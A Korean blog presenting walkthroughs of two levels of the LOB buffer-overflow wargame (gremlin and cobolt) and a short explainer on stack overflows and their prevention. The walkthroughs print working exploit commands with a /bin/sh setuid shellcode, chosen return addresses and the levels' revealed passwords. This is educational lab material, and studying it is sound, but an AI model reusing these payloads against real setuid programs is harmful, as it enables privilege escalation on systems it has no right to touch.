심심해서 하는 블로그 :: 심심해서 하는 블로그

1. 취약점


버퍼 오버플로우에 취약한 함수 strcpy() 사용

근데 버퍼의 크기가 16byte ㅠㅠ 쉘 코드가 41byte라서 Return Address까지 다 덮어버려서 

Level 1때의 단순한 방법으로는 접근하기 힘들다. 따라서 *argv[]를 적극 활용하여 쉘코드를 로드하자


2. Exploit

1. bash2를 사용하고 cobolt.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp cobolt.c /tmp/cobolt.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 cobolt으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o cobolt cobolt.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./cobolt


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 활용할테니까 초기 상태에서 중단점을 설정하자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'`

(gdb) x/120x $esp



r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'` 로 수행하는 이유는 

우선 버퍼를 넘치게해서 Return Address까지 접근하는데 20(dummy) + 4(new Return Address)

그 후 쉘코드를 수행하는데 쉘코드가 41byte이므로 최소 42byte 이상이 존재해야 하므로 

20(nop) + 41(Shell code) 새로운 return 주소는 빨간 네모중 0xbffffc30으로 선정하였다

 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 buffer를 20byte로 채우고  Return Address는 0xbffffc30로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./cobolt `perl -e 'print "A"x20, "\x30\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : cobolt

   passwd : hacking exposed


,

1. 취약점


실행 파일의 권한이 SetUID로 설정

SetUID는 파일을 실행하는 동안에는 자신의 EUID(Effective UID)가 일시적으로 파일의 소유권자가 된다.

Bof 원정대 특징상 프로그램의 취약점을 파악하여 자신의 권한을 상승 시켜나가는 과정이니..

이런 권한을 가진 프로그램일수록 개발할 때 더욱 주의를 기울일 필요가 있다.



버퍼 오버플로우에 취약한 함수 strcpy() 사용

버퍼의 크기도 256바이트로 쉘코드를 입력하기에는 충분한 공간.. 역시 Level 1..

main함수에 매개변수를 받아드리서 화면에 입력한 내용을 보여주는 프로그램이다. strcpy()보다는 입력의 길이를 한정하는 strlcpy(), strncpy() 사용을 하면 버퍼오버플로우는 어느 정도 예방할 수 있다.


2. Exploit

1. bash2를 사용하고 gremlin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp gremlin.c /tmp/gremlin.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 gremlin으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o gremlin gremlin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./gremlin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



main+54 에서 strcpy가 수행되고 있다. 우리는 버퍼의 크기가 궁금하니까 59번을 중지점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+59

(gdb) r `perl -e 'print "A"x256'`

(gdb) x/30x $esp



A의 ASCII코드가 41이므로  buffer의 시작 주소 : 0xbffff978 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 이 코드의 크기는 41byte이다. (만드는 과정은 시간이 남으면 연재)

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 nop + shell code + nop 를 260byte로 채우고  Return Address는 첫 번째 nop 구간에 범위내의 아무 주소로 변경한다. (0xbffff980으로 선정)

nop(\x90)는 아무런 연산을 하지 않고 넘어가는 코드으므로 프로그램 수행에 영향을 주지 않는다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./gremlin `perl -e 'print "\x90" x 200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90" x 19, "\x80\xf9\xff\xbf"'`



8. 결과

   id : gremlin

   passwd : hello bof world


,

1. Buffer Overflow

가장 기본이 되는 예제로 보면 변수 c는 char형 8개를 담을 수 있는 공간이다. 이 곳에 8개 이하의 데이터를 보관하는 것은 문제가 되지 않는다. 근데 9개의 데이터를 넣는 순간 c의 영역을 넘어 다른 공간까지 데이터가 저장되는 것을 알 수 있다. 이처럼 버퍼 오버플로우는 입력의 한계를 충분히 확인하지 않은 API 사용으로 버퍼에 근접한 메모리 주소에 있는 데이터 값을 변경할 때 발생한다. 대표적인 API로는 scanf(), gets(), strcat(), strcpy() 등이 있다. 최근에 나온 컴파일러는 취약한 API에 대하여 사용을 제한하거나 경고하고 있다.


2. 공격 방법(Stack overflow)


메모리에서 스택은 고드름처럼 위에서 성장하는 하며 함수가 호출되면 매게변수 - 리턴 주소 - 지역 순으로 스택에 쌓인다. 반면에 버퍼는 거꾸로 위로 타고 올라가면서 성장한다. 따라서 일정 수준 이상을 입력하게 되면 리턴 주소가 변경된다. 이 특성을 이용하여 공격자는 메모리상에 악성 코드를 주소 A에 두고 리턴 주소를 버퍼 오버플로우를 활용하여 A로 변경하여 원하는 프로그램을 수행시킨다. 이러한 악성코드는 시스템 콜로 구성되어 있다.


3. 예방법

범위를 확인하지 않는 API 사용은 하지 않는다.

대표적인 strcat(), strcpy(), scanf()는 입력의 범위를 확인하지 않고 입력시키는 특징 때문에 버퍼 오버플로우에 취약한 모습을 보여준다. strlcat(), strlcpy(), scanf_s() 등으로 대체하여 사용하는 것이 중요하다.


최신의 운영체제를 사용한다.

운영체제가 발전함에 따라 스택 가드, 스택 쉴드, Non-Executable 스택 등 다양한 방어 장치를 이용해 공격자의 공격을 막는다. 또한 컴파일러도 발전함에 따라 범위 밖의 입력에 대하여는 예외로 처리하여 주며 불완전한 API 사용에 대하여 경고나 금지를 하는 등 최신의 컴파일러를 사용하는 것도 좋은 방법이다. 

,